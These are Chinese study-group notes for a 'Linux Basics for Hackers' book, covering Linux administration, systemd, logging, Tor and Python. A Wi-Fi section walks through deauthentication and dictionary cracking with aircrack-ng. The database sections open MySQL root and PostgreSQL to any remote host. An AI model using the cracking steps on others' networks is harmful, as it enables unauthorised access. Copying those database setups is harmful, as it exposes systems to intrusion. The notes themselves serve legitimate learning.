32991850 Oct 7 20:06 駭客的Linux基礎入門必修課.pdf ``` * df ``` ┌──(kali㉿kali)-[/mnt] └─$ df -h Filesystem Size Used Avail Use% Mounted on udev 946M 0 946M 0% /dev tmpfs 198M 976K 197M 1% /run /dev/sda1 79G 15G 60G 20% / tmpfs 988M 0 988M 0% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-journald.service tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-udev-load-credentials.service tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-tmpfiles-setup-dev-early.service tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-sysctl.service tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-tmpfiles-setup-dev.service tmpfs 988M 4.0K 988M 1% /tmp tmpfs 1.0M 0 1.0M 0% /run/credentials/systemd-tmpfiles-setup.service Shared 449G 423G 27G 95% /media/sf_Shared tmpfs 1.0M 0 1.0M 0% /run/credentials/getty@tty1.service tmpfs 198M 120K 198M 1% /run/user/109 tmpfs 198M 116K 198M 1% /run/user/1000 /dev/sdb1 978M 83M 896M 9% /media/kali/usb ``` * fsck * lsblk ``` ┌──(kali㉿kali)-[/mnt] └─$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 80.1G 0 disk └─sda1 8:1 0 80.1G 0 part / sdb 8:16 1 984M 0 disk └─sdb1 8:17 1 982M 0 part /media/kali/usb sr0 11:0 1 1024M 0 rom ``` ``` ┌──(kali㉿kali)-[/mnt] └─$ sudo umount /media/kali/usb ┌──(kali㉿kali)-[/mnt] └─$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 80.1G 0 disk └─sda1 8:1 0 80.1G 0 part / sdb 8:16 1 984M 0 disk └─sdb1 8:17 1 982M 0 part sr0 11:0 1 1024M 0 rom ``` * /dev/pts/* ## 🐧11 日誌記錄系統 :::info * 導讀群:(Andrew) * 日期/時間:2 月 18 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/CljofpvHrqY ::: ![overview-of-syslog](https://hackmd.io/_uploads/HkfBjv-5kg.png) * rsyslog * /etc/rsyslog.conf ``` # # Log commonly used facilities to their own log file # auth,authpriv.* /var/log/auth.log cron.* -/var/log/cron.log kern.* -/var/log/kern.log mail.* -/var/log/mail.log user.* -/var/log/user.log ``` * systemctl status rsyslog.service * logrotate * 嵌入式應用中需要注意的事情 - log SIZE * /etc/logrotate.conf * systemctl status logrotate.service * systemctl status logrotate.timer * logger * 沒提到但可自行學習的主題 * Facility & Servity Level * Remote Log * journalctl * Idea * iot sensor data (不適合高頻率更新的應用) * Debug Mode & Normal Mode ```c= #include <stdio.h> #include <stdlib.h> #include <syslog.h> void print_msg(const char *message) { syslog(LOG_INFO, "%s", message); } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <message>\n", argv[0]); return EXIT_FAILURE; } openlog("mylogger_c", LOG_PID | LOG_CONS, LOG_USER); print_msg(argv[1]); printf("Message logged to syslog: %s\n", argv[1]); closelog(); return EXIT_SUCCESS; } ``` ```python= #! /usr/bin/python import sys import syslog def print_msg(message): syslog.syslog(syslog.LOG_INFO, message) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <message>") sys.exit(1) syslog.openlog(ident="mylogger_py", logoption=syslog.LOG_PID, facility=syslog.LOG_USER) print_msg(sys.argv[1]) print(f"Message logged to syslog: {sys.argv[1]}") syslog.closelog() ``` ```bash= #!/bin/bash LOG_TAG="IoT_Sensor" echo "Logging IoT sensor data..." while true; do TEMP=$((RANDOM % 21 + 15)) # 15~35°C HUMI=$((RANDOM % 51 + 30)) # 30~80% logger -t "$LOG_TAG" "temperature=${TEMP}°C, humidity=${HUMI}%" sleep 1 done ``` ## 🐧8 BASH 腳本編寫 :::info * 導讀群:(Andrew) * 日期/時間:2 月 25 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://www.youtube.com/watch?v=WFxvHPk_Gw8 ::: * variable * if-elif-else-fi * case-esac * while-do-done * function * \`cmd\`, \$(cmd) * LAB1 * 上市個股日成交資訊 * 預備知識 * `jq '.[] | select(.Code == "0050")' file.json` * LAB2 * https://thingsboard.io/ * LAB3 * 中華民國政府行政機關辦公日曆表 * LAB4 * 根據 IP 自動設定當地時間 * 預備知識 * `timedatectl list-timezones` * `timedatectl set-timezone` * `http://ip-api.com` * Ref: * [rockchip-gpio](https://github.com/andrewintw/rockchip-gpio) ## 🐧12 使用並利用服務 :::info * 導讀群:(Mark Tsai) * 日期/時間:3 月 4 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/0EfLV1Sk-Bg ::: > [name=Andrew] 初步掃了本章的內容,它有操作樹莓派 Camera。另外,我認為這個章節應該講 systemd,但它沒講。 > [name=Mark] 我這兩天有空,我來準備。我有樹莓派,但沒有Camera。也花點時間研究一下systemd。 > [name=Andrew] 感謝。我覺得 Camera 可以忽略沒關係。剛剛又看了一次,我覺得原書想提的重點是介紹幾個重要的系統服務(web、ssh、資料庫)。重點應該是放在如何啟用、停用它們,以及啟用後怎麼與那些服務互動(像是它啟用 apache 後怎麼替換自己的網頁)。可以介紹「如果我自已寫了一個程式,怎麼使用 systemd 在開機後自動啟動它」 > > [name=Mark] 我帶基本的操作,進階就麻煩Andrew補充吧。 * service service主要用來管理 /etc/init.d/ 內的服務。已逐漸被systemctl取代而漸漸淘汰。Kali仍可以用這個指令,但只是用來呼叫systemctl。 ``` ┌──(kali㉿kali-pi5)-[~] └─$ service apache2 status ● apache2.service - The Apache HTTP Server ┌──(kali㉿kali-pi5)-[~] └─$ systemctl status apache2 ● apache2.service - The Apache HTTP Server ``` * systemd 系統與服務管理器(System and Service Manager),2010出現後,已成為現代Linux主要的init系統。 系統或套件管理工具安裝的設定檔會放在這。 /lib/systemd/system /usr/lib/systemd/system 如果想要新增自己寫的程式,讓systemd管理,要放在這裡。 /etc/systemd/system * systemctl 與systemd互動的指令工具 ``` systemctl status apache2 systemctl start apache2 systemctl stop apache2 systemctl restart apache2 systemctl enable apache2 systemctl disable apache2 systemctl is-enabled apache2 ``` 檢查所有運行中的服務 ``` ┌──(kali㉿kali-pi5)-[~] └─$ systemctl list-units --type=service | grep running apache2.service loaded active running The Apache HTTP Server mariadb.service loaded active running MariaDB 11.4.5 database server ssh.service loaded active running OpenBSD Secure Shell server ``` * Apache * sudo apt install apache2 * 用systemctl指令啟動 apache2 * 修改網頁檔案 /var/www/html/index.html * 設定檔 /etc/apache2/apache2.conf ```bash mark@mark-pi5:~ $ systemctl status apache2.service apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; enabled; preset: enabled) Active: active (running) since Sat 2025-03-01 07:55:33 UTC; 4min 56s ago Docs: https://httpd.apache.org/docs/2.4/ Process: 252540 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS) Main PID: 252546 (apache2) Tasks: 55 (limit: 9255) CPU: 45ms CGroup: /system.slice/apache2.service ├─252546 /usr/sbin/apache2 -k start ├─252547 /usr/sbin/apache2 -k start └─252548 /usr/sbin/apache2 -k start ``` ![image](https://hackmd.io/_uploads/H19oYUEjJe.png) * ssh 回想一下,第一章有提到。 ``` ┌──(kali㉿kali)-[/etc/systemd/system] └─$ systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled) Active: active (running) since Mon 2025-03-03 22:14:56 EST; 2min 1s ago Invocation: 16bed5fb0fd04dcc8259fad74d55f43a Docs: man:sshd(8) man:sshd_config(5) Process: 2298 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 2310 (sshd) Tasks: 1 (limit: 2269) Memory: 2.5M (peak: 2.8M) CPU: 15ms CGroup: /system.slice/ssh.service └─2310 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups" Mar 03 22:14:56 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server... Mar 03 22:14:56 kali sshd[2310]: Server listening on 0.0.0.0 port 22. Mar 03 22:14:56 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server. Mar 03 22:14:56 kali sshd[2310]: Server listening on :: port 22. ``` 設定檔 ``` ┌──(kali㉿kali)-[/lib/systemd/system] └─$ cat ssh.service [Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target nss-user-lookup.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service ``` * MySQL Kali預設安裝的MySQL就是MariaDB了,用systemctl啟動mysql就可以了。 ``` ┌──(kali㉿kali-pi5)-[~] └─$ mysql -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 11.4.5-MariaDB-1 Debian n/a Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> ``` MariaDB/MySQL 預設只允許本機 localhost 連線,需要修改設定允許遠端存取。 ``` sudo vi /etc/mysql/mariadb.conf.d/50-server.cnf # 改這行 bind-address = 0.0.0.0 ``` 預設情況下,MySQL 的 root 只允許從 localhost 連線,需要手動新增允許遠端登入的 root 用戶。 ```bash sudo mysql -u root ``` 下sql ```sql CREATE USER 'root'@'%' IDENTIFIED BY '你的密碼'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES; ``` 使用圖形介面與database互動, 例如 [Dbeaver](https://dbeaver.io/) * PostgreSQL with Metasploit ``` ┌──(kali㉿kali-pi5)-[~] └─$ msfconsole Metasploit tip: Use the 'capture' plugin to start multiple authentication-capturing and poisoning services IIIIII dTb.dTb _.---._ II 4' v 'B .'"".'/|\`.""'. II 6. .P : .' / | \ `. : II 'T;. .;P' '.' / | \ `.' II 'T; ;P' `. / | \ .' IIIIII 'YvP' `-.__|__.-' I love shells --egypt =[ metasploit v6.4.50-dev ] + -- --=[ 2495 exploits - 1283 auxiliary - 393 post ] + -- --=[ 1607 payloads - 49 encoders - 13 nops ] + -- --=[ 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ msf6 > msfdb init [*] exec: msfdb init [i] Database already started [+] Creating database user 'msf' [+] Creating databases 'msf' [+] Creating databases 'msf_test' [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schema Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions. msf6 > su postgres [*] exec: su postgres postgres@kali-pi5:/home/kali$ msf6 > su postgres [*] exec: su postgres postgres@kali-pi5:/home/kali$ createuser msf_user -P Enter password for new role: Enter it again: postgres@kali-pi5:/home/kali$ createdb --owner=msf_user hackers_arise_db postgres@kali-pi5:/home/kali$ exit exit msf6 > db_connect msf_user:password@127.0.0.1/hackers_arise_db [*] Connected to Postgres data service: 127.0.0.1/hackers_arise_db msf6 > db_status [*] Connected to hackers_arise_db. Connection type: postgresql. Connection name: local_db_service. ``` 遠端連線設定 ``` sudo vi /etc/postgresql/16/main/postgresql.conf # 改成 listen_addresses = '*' ``` ``` sudo vi /etc/postgresql/16/main/pg_hba.conf # 加上 host all all 0.0.0.0/0 scram-sha-256 ``` 重新啟動,測試連線 ``` sudo systemctl restart postgresql # local psql -U msf_user -d hackers_arise_db # remote psql -h mark-pi5 -U msf_user -d hackers_arise_db -W ``` ### 補充 * 不要再使用 [/etc/rc.local](https://github.com/raspberrypi/documentation/blob/83aeab3278fc7b648022fb56b30e4d62c5ccba24/linux/usage/rc-local.md) * [創建服務範例](https://github.com/raspberrypi/documentation/blob/83aeab3278fc7b648022fb56b30e4d62c5ccba24/linux/usage/systemd.md) ``` [Unit] Description=Run mypy on startup After=network.target [Service] Type=oneshot ExecStart=/usr/bin/python3 /path/to/myprogram.py RemainAfterExit=yes [Install] WantedBy=multi-user.target ``` | Type | 適用場景 | 行為 | |-------------|---------|------| | `oneshot` | 執行一次後退出的任務,如初始化腳本 | `systemd` 會等待指令執行完畢,然後認為服務已結束 | | `simple` | 長時間運行的服務,如 Web 伺服器 | `systemd` 啟動指令後,不會等待,直接認為服務已啟動 | ``` [Unit] Description=MyIoT Sensor Data Service After=network.target [Service] Type=simple ExecStart=/home/kali/ws/myiot.sh Restart=always RestartSec=5 [Install] WantedBy=multi-user.target ``` 啟動方式 ``` sudo cp myprogram.service /usr/lib/systemd/system sudo systemctl daemon-reload sudo systemctl status myprogram.service sudo systemctl start myprogram.service sudo systemctl enable myprogram.service ``` 停用方式 ``` sudo systemctl stop myprogram.service sudo systemctl disable myprogram.service ``` ## 🐧14 認識並檢視無線網路 :::info * 導讀群:([Mark Tsai](https://www.facebook.com/mark.tsai.357)), Andrew * 日期/時間:3 月 11 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/dh820OyH8A4 ::: > [name=Mark] 我會準備基礎的wifi, 藍芽相關指令。aircrack-ng再麻煩Andrew補充。 > [name=Andrew] ok,我可以實際操作怎麼使用 aircrack-ng, airodump-ng 進行密碼的暴力破解。 ### wifi 網路 & 指令 * wifi網路 AP:Wi-Fi 無線基地台 SSID:網路名稱 BSSID:AP的MAC地址 ESSID:多個AP提供相同SSID,在不同的AP之間切換,但不影響連線 Frequency:5.765 GHz 速度較快(頻寬較大) Frequency:2.417 GHz 範圍較廣(穿牆能力較強) Channels:2.4G有13個頻道(1~13) Power:功率 Tx-Power Security:Wi-Fi 加密方式 ![image](https://hackmd.io/_uploads/HJGIYUajyx.png) Modes: ![image](https://hackmd.io/_uploads/r16jtU6s1e.png) Wireless range:100公尺~32公里(High-Gain Antennas) * ifconfig IPv4、子網路遮罩、MAC、封包流量統計 ``` $ ifconfig wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.104.150 netmask 255.255.255.0 broadcast 192.168.104.255 inet6 fe80::97d2:ad5c:b9f0:1fca prefixlen 64 scopeid 0x20<link> ether d8:3a:dd:f1:de:ae txqueuelen 1000 (Ethernet) RX packets 10054 bytes 6491289 (6.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 10601 bytes 3860339 (3.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ``` * iwconfig SSID、頻率、AP MAC、訊號強度 ``` $ iwconfig lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:"HKTsai_Re5.0" Mode:Managed Frequency:5.765 GHz Access Point: C0:06:C3:BE:80:1D Bit Rate=351 Mb/s Tx-Power=31 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on Link Quality=50/70 Signal level=-60 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:2 Invalid misc:0 Missed beacon:0 $ iwlist wlan0 channel $ sudo iwconfig wlan0 essid "your_network_name" key s:your_password $ sudo dhclient wlan0 ``` * iwlist interface action ``` [21:08:11 ~] $ iwlist wlp3s0 scan wlp3s0 Scan completed : Cell 01 - Address: C0:06:C3:BE:80:1C Channel:2 Frequency:2.417 GHz (Channel 2) Quality=56/70 Signal level=-54 dBm Encryption key:on ESSID:"HKTsai_Re2.4" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s 18 Mb/s; 36 Mb/s; 54 Mb/s Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s Mode:Master ``` * iw 取代iwconfig和iwlist ``` $ iw dev $ iw dev wlan0 link $ sudo iw dev wlan0 scan | grep -E "SSID|signal|channel" $ iw list | grep MHz $ sudo iw dev wlan0 connect "your_network_name" key 0:your_password $ wpa_supplicant ``` NetworkManager 是 Linux 上的主要網路管理工具 ``` $ sudo systemctl restart NetworkManager ``` * nmcli ``` ┌──(kali㉿kali-pi5)-[~] └─$ sudo nmcli device wifi list IN-USE BSSID SSID MODE CHAN RATE SIGNAL BARS SECURITY 28:EE:52:AF:0E:57 HKTsai Infra 10 270 Mbit/s 100 ▂▄▆█ WPA1 WPA2 28:EE:52:AF:0E:56 HKTsai Infra 149 270 Mbit/s 100 ▂▄▆█ WPA1 WPA2 * C0:06:C3:BE:80:1C HKTsai_Re2.4 Infra 10 270 Mbit/s 56 ▂▄▆_ WPA2 C0:06:C3:BE:80:1D HKTsai_Re5.0 Infra 149 270 Mbit/s 42 ▂▄__ WPA2 $ nmcli device status $ nmcli device wifi connect "HKTsai" password "Abc123123" ``` ### 實作:使用 aircrack-ng & airodump-ng 進行 WiFi 密碼暴力破解 * 購買[支援 monitor mode 的網卡](https://www.kali.org/docs/nethunter/wireless-cards/) * 在台灣容易買到便宜的網卡 ($250~$500) * Atheros AR9271 * Ralink RT3070 * Ralink RT5370 * NOTE: 以上三個型號是 Kernel 已經「內建」驅動程式了,無須額外處理驅動問題。有些較新的網卡支援 Kali,但是需要額外安裝或編譯驅動程式 - 「支援」和「免驅動」是兩件事情。 #### step1. 確認環境 & 準備 ``` $ iw list Supported interface modes: monitor $ iw dev ``` ``` $ sudo airmon-ng check wlan0 $ sudo airmon-ng check kill ``` * 2. 切換 monitor mode ``` $ airmon-ng start wlan0 $ iw dev wlan0mon info ``` * NOTE: 停用 monitor mode: `sudo airmon-ng stop wlan0mon` * 3. 尋找目標 ``` $ sudo airodump-ng wlan0mon ``` * 4. 捕獲交握封包 ``` sudo airodump-ng --write ./wifi.cap --bssid 'A0:B2:C2:E7:52:3C' --channel 10 wlan0mon ``` * 配合 Deauthentication 攻擊 ``` sudo aireplay-ng -a 'A0:B2:C2:E7:52:3C' --deauth 20 wlan0mon ``` * 5. 使用字典檔進行暴力破解 * Kali 內建字典檔: /usr/share/wordlists/rockyou.txt.gz ``` aircrack-ng -b 'D0:C2:82:E7:52:3C' -w ./rockyou.txt ./wifi.cap ``` ### Bluetooth 經由2.4至2.485 GHz的ISM頻段來進行通訊 確認藍芽狀態,啟用或停止 ``` kali > sudo systemctl start bluetooth ``` * bluez ``` kali > apt install bluez ``` * hciconfig 查看藍芽版本 HCI Version ``` [22:39:05 ~] $ hciconfig -a hci1: Type: Primary Bus: USB BD Address: 08:BE:AC:43:66:C8 ACL MTU: 1021:6 SCO MTU: 255:12 UP RUNNING RX bytes:1718 acl:0 sco:0 events:192 errors:0 TX bytes:35630 acl:0 sco:0 commands:192 errors:0 Features: 0xff 0xff 0xff 0xfe 0xdb 0xfd 0x7b 0x87 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH HOLD SNIFF PARK Link mode: PERIPHERAL ACCEPT Name: 'mark-x230 #2' Class: 0x7c010c Service Classes: Rendering, Capturing, Object Transfer, Audio, Telephony Device Class: Computer, Laptop HCI Version: 5.1 (0xa) Revision: 0xdfc6 LMP Version: 5.1 (0xa) Subversion: 0xd922 Manufacturer: Realtek Semiconductor Corporation (93) hci0: Type: Primary Bus: USB BD Address: E0:06:E6:B8:96:CE ACL MTU: 1021:8 SCO MTU: 64:1 UP RUNNING PSCAN RX bytes:1456 acl:0 sco:0 events:87 errors:0 TX bytes:7417 acl:0 sco:0 commands:87 errors:0 Link policy: RSWITCH SNIFF Name: 'mark-x230' .. HCI Version: 4.0 (0x6) Revision: 0x1000 LMP Version: 4.0 (0x6) Subversion: 0x220e Manufacturer: Broadcom Corporation (15) ``` 啟用關閉藍芽設備 ``` [23:26:29 ~] $ hciconfig hci0 down Can't down device hci0: Operation not permitted (1) [23:26:52 ~] $ sudo hciconfig hci0 down [23:27:02 ~] $ hciconfig -a hci0: Type: Primary Bus: USB BD Address: E0:06:E6:B8:96:CE ACL MTU: 1021:8 SCO MTU: 64:1 DOWN hci1: Type: Primary Bus: USB BD Address: 08:BE:AC:43:66:C8 ACL MTU: 1021:6 SCO MTU: 255:12 UP RUNNING ``` * hcitool ``` [21:11:31 ~] $ hcitool scan Scanning ... E3:BF:3C:46:5F:C1 BTS-722 04:42:1A:84:B5:A6 ROG Phone 5s [23:34:58 ~] $ hcitool dev Devices: hci1 08:BE:AC:43:66:C8 [23:36:56 ~] $ hcitool inq Inquiring ... [23:37:22 ~] $ hcitool --help ``` * sdptool ``` [23:46:03 ~] $ sdptool browse 04:42:1A:84:B5:A6 Browsing 04:42:1A:84:B5:A6 ... Service RecHandle: 0x10000 Service Class ID List: "Generic Attribute" (0x1801) Protocol Descriptor List: "L2CAP" (0x0100) PSM: 31 "ATT" (0x0007) uint16: 0x0001 uint16: 0x0009 $ sdptool browse 08:BE:AC:26:99:BF | grep "Service Name" Service Name: Service Discovery Service Name: Device ID Service Record Service Name: Personal Ad Hoc User Service Service Name: Audio Sink Service Name: Audio Video Remote Control Profile Service Name: Audio Source Service Name: CDP Proximal Transport ``` * l2ping 類似ping ``` $ sudo l2ping 08:BE:AC:26:99:BF Ping: 08:BE:AC:26:99:BF from D8:3A:DD:F1:DE:AF (data size 44) ... 0 bytes from 08:BE:AC:26:99:BF id 0 time 3.62ms 0 bytes from 08:BE:AC:26:99:BF id 1 time 58.71ms ``` ## 🐧15 管理 LINUX 核心與可載入模組 :::info * 導讀群:(Sean Ciou) * 日期/時間:預計 3月 17 日 (星期一,抱歉我週二有工作><") 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/LsLgNEO8SkE ::: > [name=Andrew] Hi Sean Ciou, 感謝參與 :heart_eyes: 3 月初的時候我會再跟你確定一次時間,看你到時候的時間安排~ ;) * 核心(kernel)介紹 * 作業系統的組成 * 核心(kernel) 管理記憶體、控制CPU等等,只有root與特定使用者可以做存取,以下指令可以用來檢查kernel的版本 ```shell #法一 uname -a #法二 cat /proc/version ``` ![image](https://hackmd.io/_uploads/H1Hd6yPt1l.png) * 使用者空間(User land) 核心以外的所有東西 * 可載入核心模組(loadable kernel modules,LKM) 無須重建、編譯、重啟核心,便能直接添加到kernel的模組,可以對kernel的最低階部分進行存取,不過也容易成為駭客的攻擊目標 * sysctl * 用以調整kernel,直到重啟系統為止 * -a:查詢所有的kernel配置 * -w:修改kernel參數,但不會立即生效 ![image](https://hackmd.io/_uploads/ryZ40JvFkg.png) * -p:將修改的kernel參數生效 * 如果要永久改變,必須修改/etc/sysctl.conf ::: warning 修改/etc/stsctl.conf務必小心,若使用錯誤,可能會導致無法開機或無法使用 ::: * 模組相關指令 * lsmod 顯示所有的kernel模組與其大小等資訊 ![image](https://hackmd.io/_uploads/HJILyxDFJx.png) * modinfo 查詢某模組的詳細資訊 ![image](https://hackmd.io/_uploads/rkHdJlwYyx.png) * insmod(或改用modprobe -a) 載入模組 ![image](https://hackmd.io/_uploads/HJC9yxDtyg.png) * rmmod(或改用modprobe -r) 移除模組 ::: warning insmod與rmmod不會將模組相依姓考慮進去,所以有時會導致核心不穩定,因此可以改用modprobe取代 ::: * dmesg 可以顯示kernel緩衝區的訊息 ![image](https://hackmd.io/_uploads/SJRIgewK1g.png) ## 🐧13 保持安全與匿名 :::info * 導讀群:(Andrew) * 日期/時間:3 月 25 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/PTh2BDIGK1U ::: > [name=Andrew] :warning: 因為這各章節的內容比較少,會與「ch16 使用工作排程將任務自動化」一起講 > [name=Andrew] 這章的重點可以放在操作 Tor 和 proxychains。至於 VPN,因為書本也沒有操作示範,就讓導讀員決定。 * Tor * 架構 & 節點 * Tor Browser * proxychains 演練 ``` sudo apt install proxychains sudo apt install tor sudo vi /etc/proxychains.conf ``` ``` dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks4 127.0.0.1 9050 socks5 127.0.0.1 9050 ``` * https://check.torproject.org/ * VPN * OpenSource * OpenVPN * WireGuard * 第三方 (商業服務) * [name=Andrew] 目前許多資安社群比較推薦的是這幾個,可能跟書本列的不同 * Mullvad VPN * IVPN * Proton VPN * Ref: [Tailscale 社員 Kevin Chen 的分享](https://www.youtube.com/watch?v=xgcmxogTG4o) * email * ProtonMail ## 🐧16 使用工作排程將任務自動化 :::info * 導讀群:(Andrew) * 日期/時間:3 月 25 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/PTh2BDIGK1U ::: > [name=Andrew] 只需要知道怎樣設定 cron task 就算達標了。我覺得 rc & init.d 甚至可以忽略,因為目前主流 Distro 都改用 systemd 了 * crontab 每分鐘執行一次 ``` * * * * * /path/to/script.sh ``` 每 10 分鐘執行一次 ``` */10 * * * * /path/to/script.sh ``` 每小時的第 30 分鐘執行一次 ``` 30 * * * * /path/to/script.sh ``` 每天凌晨 2 點執行 ``` 0 2 * * * /path/to/script.sh ``` 每週一凌晨 3 點執行 ``` 0 3 * * 1 /path/to/script.sh ``` 每週六、週日早上 8 點執行 ``` 0 8 * * 6,7 /path/to/script.sh ``` 每月 1 號凌晨 4 點執行 ``` 0 4 1 * * /path/to/script.sh ``` 每年 1 月 1 日凌晨 5 點執行 ``` 0 5 1 1 * /path/to/script.sh ``` * 好用工具: https://crontab.guru/ * Ref: https://github.com/andrewintw/bbs-auto-login * (略) rc & init.d ## 👉🐧17 給駭客的 PYTHON 腳本入門 :::info * 導讀群:[曾文治](https://www.facebook.com/pinionax)(小樹) * 日期/時間:4 月 1 日 (星期二) 下午 8:00 - 9:00 * 會議連結:https://meet.google.com/mex-qmnx-qvw * 會議記錄:https://youtu.be/5YEHgDh-y_4 ::: > [name=Andrew] 我覺得可以把重點放在怎麼設置一個 python 執行的環境。然後可以解釋書本裡的幾個範例。書本裡有提供幾個與書本主題的範例,像是 ip 監聽,測試密碼...等等。可以解釋程式碼的撰寫邏輯,甚至最後提示的如何改進程式碼。不用花太多時間介紹 python 基礎知識,畢竟這不是 pyhon 的讀書會。 * 開始之前,先完成靶機(target)兼Client端(另一台kali),設定如下: **(IP:192.168.0.81)** ```zsh= # 開啟ssh (port 22) systemctl start ssh # 開啟vsftpd (port21) sudo apt install vsftpd systemctl start vsftpd sudo useradd -m user sudo passwd user (密碼為password) # 開啟mysql (port3306) systemctl start mysql # 修改/etc/mysql/mariadb.conf.d/50-server.cnf bind-address = 127.0.0.1 改成 0.0.0.0 ``` * 以下內容均在攻擊機(Attacker)兼Server端上操作(除非有特別說明) **(IP:192.168.0.80)** --- * 一個沒有腳本編寫能力而只會使用別人創造的工具的新手駭客,常被貶低為 **腳本小子** (Script Kiddies); Python 有許多強大功能的龐大函式庫(預先建立好且可以從外部匯入並重複使用的模組編碼),而 [PyPI網站](http://www.pypi.org/) 可以找到關於第三方模組的完整清單。 * Python簡易介紹: * Python是 **動態強型別** 語言(變數無須事先宣告型別),除了常見字串、整數、浮點數、布林值....等型別外,另有 **容器型別** (包含list、tuple、dict及set),如下表: | 資料型態 | list | tuple | dict | set | |:--------:|:---------:|:---------:|:-------------:|:---------:| | 中文名稱 | 串列 | 序對 | 字典 | 集合 | | 符號 | [] | () | {} | {} | | 具順序性 | 有序 | 有序 | 無序 | 無序 | | 是否可變 | 是 | 否 | 是 | 是 | | 範例 | [1, 2, 3] | (1, 2, 3) | {"Apple": 15} | {1, 2, 3} | * 基礎觀念: **縮排** (4個空格或tab)、**切片** [起始:終止:步數] 及 **可迭代** (iterable)--遍歷 * 三大套件:numpy(數學)、matplotlib(圖表)及pandas(數據分析) * Linux預設安裝Python,不可隨意移除或升級,應使用 **虛擬環境** 切換不同版本Python。 ```zsh= # 安裝venv虛擬環境 (kali預設已安裝,可略過) sudo apt install python3-venv # 建立虛擬環境 python3 -m venv <venv name> # 啟用虛擬環境 source <venv name>/bin/activate # 離開虛擬環境 deactivate # 以testenv為例 python3 -m venv testenv source testenv/bin/activate (testenv)-(kali@kali)-[~] (前方括弧為環境名稱) (開始執行程式撰寫與測試) deactivate ``` * 安裝套件(模組) * pip是專門用來安裝與管理Python套件的套件管理員: ```zsh= # 安裝pip套件管理工具 (kali預設已安裝,可略過) apt-get install python3-pip # 從PyPI下載安裝套件 # (自動存放於/usr/local/lib/<python-version>/distpackages目錄) pip3 install <package name> # 查看套件內容 pip3 show <package name> # 以python-nmap為例 pip3 install python-nmap pip3 show python-nmap ``` * 安裝第三方模組(以python-nmap為例,套件庫網站: [Alexandre Norman](https://xael.org/)) ```zsh= # 下載python-nmap模組(與書本不同) wget http://xael.org/pages/python-nmap-0.7.1.tar.gz # 對下載檔案解壓縮 tar -xzf python-nmap-0.7.1.tar.gz # 切換至解壓縮目錄 cd python-nmap-.07.1/ # 安裝python-nmap模組 python setup.py install ``` --- * 第一個程式:用現成的vim來編譯程式 ```zsh= #! /usr/bin/python3 name = "Pinion" age = 47 print ("I am " + name + "\nI am " + str(age) + " years old") ``` * 將上述內容存檔為 test.py ,並進行測試 ```zsh= # 更改權限 chmod a+x test.py # 執行測試(1) ./test.py # 執行測試(2)--可不用更改權限 python test.py ``` * 單行註解用 **\#** 表示,多行註解則在開頭及結尾處使用三個雙引號 